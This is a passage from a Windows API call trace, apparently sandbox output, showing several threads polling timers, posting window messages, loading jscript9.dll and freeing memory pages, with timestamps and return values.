lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25729682142) returned 1 [0254.015] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25731774506) returned 1 [0254.015] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25731795848) returned 1 [0254.041] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25734356345) returned 1 [0254.041] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25734376365) returned 1 [0254.057] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25735936528) returned 1 [0254.057] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25735947963) returned 1 [0254.088] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25739034347) returned 1 [0254.088] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25739048418) returned 1 [0254.104] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25740631052) returned 1 [0254.104] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25740643438) returned 1 [0254.119] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25742157737) returned 1 [0254.119] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25742171182) returned 1 [0254.392] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25769453109) returned 1 [0254.392] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25769466795) returned 1 [0254.416] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25771836200) returned 1 [0254.416] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25771849837) returned 1 [0254.432] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25773449018) returned 1 [0254.432] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25773461534) returned 1 [0254.463] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25776529059) returned 1 [0254.463] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25776541903) returned 1 [0254.502] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25780487891) returned 1 [0254.502] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0254.502] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf5dca4e, lParam=0x3d09) returned 1 [0254.503] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25780519225) returned 1 [0254.544] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25784643900) returned 1 [0254.544] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0254.544] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf5e6ca7, lParam=0x3d09) returned 1 [0254.544] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25784678915) returned 1 [0254.545] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25784775339) returned 1 [0254.545] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0254.545] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf5e71c9, lParam=0x3d09) returned 1 [0254.545] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25784809567) returned 1 [0254.572] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25787473762) returned 1 [0254.572] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0254.572] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf5edb31, lParam=0x3d09) returned 1 [0254.572] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25787508531) returned 1 [0254.604] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25790630621) returned 1 [0254.604] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0254.604] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf5f5682, lParam=0x3d09) returned 1 [0254.604] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25790664824) returned 1 [0254.619] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25792166702) returned 1 [0254.619] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0254.619] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf5f9283, lParam=0x3d09) returned 1 [0254.619] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25792198674) returned 1 [0254.651] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25795341438) returned 1 [0254.651] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0254.651] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf600e86, lParam=0x3d09) returned 1 [0254.651] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25795372423) returned 1 [0254.666] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25796839853) returned 1 [0254.666] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0254.666] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf60490e, lParam=0x3d09) returned 1 [0254.666] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25796871749) returned 1 [0254.698] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25800080287) returned 1 [0254.698] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0254.698] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf60c7a2, lParam=0x3d09) returned 1 [0254.698] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25800110682) returned 1 [0254.728] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25803104444) returned 1 [0254.728] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0254.729] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf613dc4, lParam=0x3d09) returned 1 [0254.729] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25803136489) returned 1 [0254.752] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25805421943) returned 1 [0254.752] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0254.752] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf61984b, lParam=0x3d09) returned 1 [0254.752] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25805455643) returned 1 [0254.776] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25807885260) returned 1 [0254.776] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25807897640) returned 1 [0254.807] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25810940683) returned 1 [0254.807] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25810953376) returned 1 [0254.838] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25814057104) returned 1 [0254.838] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25814073594) returned 1 [0254.853] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25815611766) returned 1 [0254.854] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25815628449) returned 1 [0254.884] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25818706073) returned 1 [0254.885] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25818722271) returned 1 [0254.918] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25822032418) returned 1 [0254.918] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25822049365) returned 1 [0254.957] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25825930248) returned 1 [0254.957] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0254.957] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf64b966, lParam=0x3d09) returned 1 [0254.957] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25825955677) returned 1 [0254.984] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25828714540) returned 1 [0254.985] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0254.985] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf652629, lParam=0x3d09) returned 1 [0254.985] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25828749978) returned 1 [0255.016] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25831872696) returned 1 [0255.016] WaitForMultipleObjects (nCount=0x2, lpHandles=0x501f7b0*=0x380, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0255.016] WaitForMultipleObjects (nCount=0x2, lpHandles=0x501f7b0*=0x380, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0255.017] WaitForMultipleObjects (nCount=0x2, lpHandles=0x501f7b0*=0x380, bWaitAll=0, dwMilliseconds=0xffffffff) Thread: id = 80 os_tid = 0x8f4 [0252.481] GetCurrentThreadId () returned 0x8f4 [0252.481] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x72a18920, phModule=0x4edfb90 | out: phModule=0x4edfb90*=0x726c0000) returned 1 [0252.481] QueryPerformanceCounter (in: lpPerformanceCount=0x4edfb40 | out: lpPerformanceCount=0x4edfb40*=25578413713) returned 1 [0252.482] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0x4b) returned 0x0 [0252.482] QueryPerformanceCounter (in: lpPerformanceCount=0x4edfb40 | out: lpPerformanceCount=0x4edfb40*=25578427659) returned 1 [0252.482] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0x4b) returned 0x102 [0252.619] QueryPerformanceCounter (in: lpPerformanceCount=0x4edfb40 | out: lpPerformanceCount=0x4edfb40*=25592127915) returned 1 [0252.619] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xffffffff) returned 0x0 [0253.871] QueryPerformanceCounter (in: lpPerformanceCount=0x4edfb40 | out: lpPerformanceCount=0x4edfb40*=25717379525) returned 1 [0253.871] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xffffffff) returned 0x0 [0254.477] QueryPerformanceCounter (in: lpPerformanceCount=0x4edfb40 | out: lpPerformanceCount=0x4edfb40*=25778009669) returned 1 [0254.478] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0x5f) returned 0x102 [0254.573] QueryPerformanceCounter (in: lpPerformanceCount=0x4edfb40 | out: lpPerformanceCount=0x4edfb40*=25787574448) returned 1 [0254.573] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xffffffff) returned 0x0 [0254.699] QueryPerformanceCounter (in: lpPerformanceCount=0x4edfb40 | out: lpPerformanceCount=0x4edfb40*=25800139188) returned 1 [0254.699] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xffffffff) returned 0x0 [0254.899] QueryPerformanceCounter (in: lpPerformanceCount=0x4edfb40 | out: lpPerformanceCount=0x4edfb40*=25820169149) returned 1 [0254.899] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0x64) returned 0x102 [0255.007] QueryPerformanceCounter (in: lpPerformanceCount=0x4edfb40 | out: lpPerformanceCount=0x4edfb40*=25830993686) returned 1 [0255.007] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xffffffff) Thread: id = 84 os_tid = 0xe60 [0253.169] GetCurrentThreadId () returned 0xe60 Thread: id = 85 os_tid = 0xe40 [0253.186] GetCurrentThreadId () returned 0xe40 Thread: id = 87 os_tid = 0x4b8 [0254.042] GetCurrentThreadId () returned 0x4b8 [0254.042] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="C:\\Windows\\System32\\jscript9.dll", phModule=0x622f71c | out: phModule=0x622f71c*=0x716a0000) returned 1 [0254.043] SetEvent (hEvent=0x4a4) returned 1 [0254.046] GetCurrentThread () returned 0xfffffffe [0254.046] SetThreadPriority (hThread=0xfffffffe, nPriority=-1) returned 1 [0255.791] GetTickCount () returned 0x3f3e6 [0255.791] VirtualFree (lpAddress=0x6193000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.792] VirtualFree (lpAddress=0x6195000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.792] VirtualFree (lpAddress=0x6196000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.792] VirtualFree (lpAddress=0x6197000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.792] VirtualFree (lpAddress=0x6198000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.793] VirtualFree (lpAddress=0x6199000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.793] VirtualFree (lpAddress=0x619a000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.793] VirtualFree (lpAddress=0x619b000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.793] VirtualFree (lpAddress=0x619c000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.793] VirtualFree (lpAddress=0x619d000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.794] VirtualFree (lpAddress=0x619e000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.794] VirtualFree (lpAddress=0x619f000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.794] GetTickCount () returned 0x3f3e6 [0255.794] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0255.794] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0255.794] VirtualFree (lpAddress=0x80e1000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.794] VirtualFree (lpAddress=0x80e2000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.794] VirtualFree (lpAddress=0x80e3000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.795] VirtualFree (lpAddress=0x80e4000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.795] VirtualFree (lpAddress=0x80e5000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.795] VirtualFree (lpAddress=0x80e6000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.795] VirtualFree (lpAddress=0x80e7000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.796] VirtualFree (lpAddress=0x80e8000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.797] VirtualFree (lpAddress=0x80e9000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.797] VirtualFree (lpAddress=0x80ea000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.797] VirtualFree (lpAddress=0x80eb000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.797] VirtualFree (lpAddress=0x80ec000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.797] VirtualFree (lpAddress=0x80ed000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.798] VirtualFree (lpAddress=0x80ee000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.798] VirtualFree (lpAddress=0x80ef000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.798] VirtualFree (lpAddress=0x80f0000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.798] VirtualFree (lpAddress=0x80f1000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.798] VirtualFree (lpAddress=0x80f2000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.799] VirtualFree (lpAddress=0x80f3000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.799] VirtualFree (lpAddress=0x80f4000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.799] VirtualFree (lpAddress=0x80f5000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.799] VirtualFree (lpAddress=0x80f6000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.799] VirtualFree (lpAddress=0x80f7000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.800] VirtualFree (lpAddress=0x80f8000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.800] VirtualFree (lpAddress=0x80f9000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.800] VirtualFree (lpAddress=0x80fa000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.800] VirtualFree (lpAddress=0x80fb000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.801] VirtualFree (lpAddress=0x80fc000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.801] VirtualFree (lpAddress=0x80fd000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.801] VirtualFree (lpAddress=0x80fe000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.801] VirtualFree (lpAddress=0x80ff000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0255.806] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0255.807] ResetWriteWatch (lpBaseAddress=0x6230000, dwRegionSize=0x5000) returned 0x0 [0255.807] ResetWriteWatch (lpBaseAddress=0x6236000, dwRegionSize=0x1a000) returned 0x0 [0255.807] ResetWriteWatch (lpBaseAddress=0x80e0000, dwRegionSize=0x1000) returned 0x0 [0255.807] malloc (_Size=0x30) returned 0x54d0d90 [0255.807] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x8100000 [0255.808] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x624b000, dwRegionSize=0x1000, lpAddresses=0x622f674, lpdwCount=0x622f67c, lpdwGranularity=0x622f678 | out: lpAddresses=0x622f674*=0x1, lpdwCount=0x622f67c, lpdwGranularity=0x622f678) returned 0x0 [0255.808] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6249000, dwRegionSize=0x1000, lpAddresses=0x622f674, lpdwCount=0x622f67c, lpdwGranularity=0x622f678 | out: lpAddresses=0x622f674*=0x1, lpdwCount=0x622f67c, lpdwGranularity=0x622f678) returned 0x0 [0255.808] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6246000, dwRegionSize=0x1000, lpAddresses=0x622f674, lpdwCount=0x622f67c, lpdwGranularity=0x622f678 | out: lpAddresses=0x622f674*=0x1, lpdwCount=0x622f67c, lpdwGranularity=0x622f678) returned 0x0 [0255.808] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6244000, dwRegionSize=0x1000, lpAddresses=0x622f674, lpdwCount=0x622f67c, lpdwGranularity=0x622f678 | out: lpAddresses=0x622f674*=0x1, lpdwCount=0x622f67c, lpdwGranularity=0x622f678) returned 0x0 [0255.808] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6241000, dwRegionSize=0x1000, lpAddresses=0x622f674, lpdwCount=0x622f67c, lpdwGranularity=0x622f678 | out: lpAddresses=0x622f674*=0x1, lpdwCount=0x622f67c, lpdwGranularity=0x622f678) returned 0x0 [0255.808] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x623e000, dwRegionSize=0x1000, lpAddresses=0x622f674, lpdwCount=0x622f67c, lpdwGranularity=0x622f678 | out: lpAddresses=0x622f674*=0x1, lpdwCount=0x622f67c, lpdwGranularity=0x622f678) returned 0x0 [0255.808] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x623d000, dwRegionSize=0x1000, lpAddresses=0x622f674, lpdwCount=0x622f67c, lpdwGranularity=0x622f678 | out: lpAddresses=0x622f674*=0x1, lpdwCount=0x622f67c, lpdwGranularity=0x622f678) returned 0x0 [0255.808] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x623c000, dwRegionSize=0x1000, lpAddresses=0x622f674, lpdwCount=0x622f67c, lpdwGranularity=0x622f678 | out: lpAddresses=0x622f674*=0x1, lpdwCount=0x622f67c, lpdwGranularity=0x622f678) returned 0x0 [0255.808] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x623b000, dwRegionSize=0x1000, lpAddresses=0x622f674, lpdwCount=0x622f67c, lpdwGranularity=0x622f678 | out: lpAddresses=0x622f674*=0x1, lpdwCount=0x622f67c, lpdwGranularity=0x622f678) returned 0x0 [0255.808] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6238000, dwRegionSize=0x1000, lpAddresses=0x622f674, lpdwCount=0x622f67c, lpdwGranularity=0x622f678 | out: lpAddresses=0x622f674*=0x1, lpdwCount=0x622f67c, lpdwGranularity=0x622f678) returned 0x0 [0255.808] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6237000, dwRegionSize=0x1000, lpAddresses=0x622f674, lpdwCount=0x622f67c, lpdwGranularity=0x622f678 | out: lpAddresses=0x622f674*=0x1, lpdwCount=0x622f67c, lpdwGranularity=0x622f678) returned 0x0 [0255.808] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6236000, dwRegionSize=0x1000, lpAddresses=0x622f674, lpdwCount=0x622f67c, lpdwGranularity=0x622f678 | out: lpAddresses=0x622f674*=0x1, lpdwCount=0x622f67c, lpdwGranularity=0x622f678) returned 0x0 [0255.808] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6234000, dwRegionSize=0x1000, lpAddresses=0x622f674, lpdwCount=0x622f67c, lpdwGranularity=0x622f678 | out: lpAddresses=0x622f674*=0x1, lpdwCount=0x622f67c, lpdwGranularity=0x622f678) returned 0x0 [0255.808] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6230000, dwRegionSize=0x1000, lpAddresses=0x622f674, lpdwCount=0x622f67c, lpdwGranularity=0x622f678 | out: lpAddresses=0x622f674*=0x1, lpdwCount=0x622f67c, lpdwGranularity=0x622f678) returned 0x0 [0255.808] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x624e000, dwRegionSize=0x1000, lpAddresses=0x622f65c, lpdwCount=0x622f664, lpdwGranularity=0x622f660 | out: lpAddresses=0x622f65c*=0x622f674, lpdwCount=0x622f664, lpdwGranularity=0x622f660) returned 0x0 [0255.808] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x624d000, dwRegionSize=0x1000, lpAddresses=0x622f65c, lpdwCount=0x622f664, lpdwGranularity=0x622f660 | out: lpAddresses=0x622f65c*=0x622f674, lpdwCount=0x622f664, lpdwGranularity=0x622f660) returned 0x0 [0255.808] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x624c000, dwRegionSize=0x1000, lpAddresses=0x622f65c, lpdwCount=0x622f664, lpdwGranularity=0x622f660 | out: lpAddresses=0x622f65c*=0x622f674, lpdwCount=0x622f664, lpdwGranularity=0x622f660) returned 0x0 [0255.809] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x624a000, dwRegionSize=0x1000, lpAddresses=0x622f65c, lpdwCount=0x622f664, lpdwGranularity=0x622f660 | out: lpAddresses=0x622f65c*=0x622f674, lpdwCount=0x622f664, lpdwGranularity=0x622f660) returned 0x0 [0255.809] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6248000, dwRegionSize=0x1000, lpAddresses=0x622f65c, lpdwCount=0x622f664, lpdwGranularity=0x622f660 | out: lpAddresses=0x622f65c*=0x622f674, lpdwCount=0x622f664, lpdwGranularity=0x622f660) returned 0x0 [0255.809] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6247000, dwRegionSize=0x1000, lpAddresses=0x622f65c, lpdwCount=0x622f664, lpdwGranularity=0x622f660 | out: lpAddresses=0x622f65c*=0x622f674, lpdwCount=0x622f664, lpdwGranularity=0x622f660) returned 0x0 [0255.809] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6245000, dwRegionSize=0x1000, lpAddresses=0x622f65c, lpdwCount=0x622f664, lpdwGranularity=0x622f660 | out: lpAddresses=0x622f65c*=0x622f674, lpdwCount=0x622f664, lpdwGranularity=0x622f660) returned 0x0 [0255.809] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6240000, dwRegionSize=0x1000, lpAddresses=0x622f65c, lpdwCount=0x622f664, lpdwGranularity=0x622f660 | out: lpAddresses=0x622f65c*=0x622f674, lpdwCount=0x622f664, lpdwGranularity=0x622f660) returned 0x0 [0255.809] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x623f000, dwRegionSize=0x1000, lpAddresses=0x622f65c, lpdwCount=0x622f664, lpdwGranularity=0x622f660 | out: lpAddresses=0x622f65c*=0x622f674, lpdwCount=0x622f664, lpdwGranularity=0x622f660) returned 0x0 [0255.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5491928 | out: lpSystemTimeAsFileTime=0x5491928*(dwLowDateTime=0xb320664d, dwHighDateTime=0x1d4f110)) [0255.809] SetEvent (hEvent=0x4a4) returned 1 [0255.809] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0255.827] GetTickCount () returned 0x3f406 [0255.827] GetTickCount () returned 0x3f406 [0255.827] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0255.828] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0255.831] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0256.732] GetTickCount () returned 0x3f7a0 [0256.732] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0256.916] GetTickCount () returned 0x3f85b [0256.916] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0256.916] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0256.916] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0257.244] GetTickCount () returned 0x3f9a3 [0257.244] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0257.244] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0257.244] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0257.308] GetTickCount () returned 0x3f9e2 [0257.308] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 [0257.308] RtlInterlockedPopEntrySList (in: ListHead=0x548a080 | out: ListHead=0x548a080) returned 0x0 [0257.308] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x622f714*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0257.463] GetTickCount () returned 0x3fa7e [0257.463] RtlInterlockedPopEntrySList (in: ListHead=0x548a0a0 | out: ListHead=0x548a0a0) returned 0x0 